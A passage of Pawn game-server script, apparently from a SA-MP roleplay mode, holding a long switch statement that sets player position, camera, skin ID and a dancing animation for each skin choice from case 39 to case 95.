	PlayerInfo[playerid][cSkin] = 40;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 39:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 41);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 41;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 40:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 43);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 43;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 41:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 44);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 44;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 42:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 45);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 45;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 43:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 47);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 47;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 44:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 48);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 48;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 45:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 49);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 49;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 46:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 51);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 51;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 47:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 52);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 52;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 48:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 53);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 53;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 49:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 54);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 54;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 50:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 57);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 57;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 51:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 58);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 58;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 52:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 66);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 66;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 53:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 67);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 67;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 54:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 68);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 68;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 55:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 69);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 69;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 56:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 72);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 72;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 57:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 73);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 73;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 58:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 76);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 76;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 59:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 77);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 77;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 60:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 78);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 78;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 61:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 79);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 79;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 62:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 80);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 80;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 63:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 81);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 81;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 64:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 82);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 82;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 65:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 83);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 83;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 66:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 84);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 84;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 67:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 88);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 88;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 68:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 91);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 91;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 69:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 94);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 94;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 70:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 95);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 95;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 71:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 96);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 96;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 72:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 97);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 97;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 73:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 128);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 128;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 74:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 129);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 129;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 75:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 130);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 130;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 76:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 132);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 132;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 77:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 133);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 133;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 78:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 134);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 134;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 79:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 135);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 135;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 80:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 136);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 136;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 81:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 137);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 137;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 82:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 142);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 142;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 83:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 143);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 143;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 84:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 144);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 144;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 85:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 155);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 155;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 86:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 156);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 156;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 87:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 157);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 157;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 88:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 158);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 158;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 89:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 159);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 159;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 90:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 160);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 160;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 91:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 161);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 161;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 92:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 162);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 162;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 93:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 167);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 167;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 94:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 168);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 168;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 95:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 170);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 170;
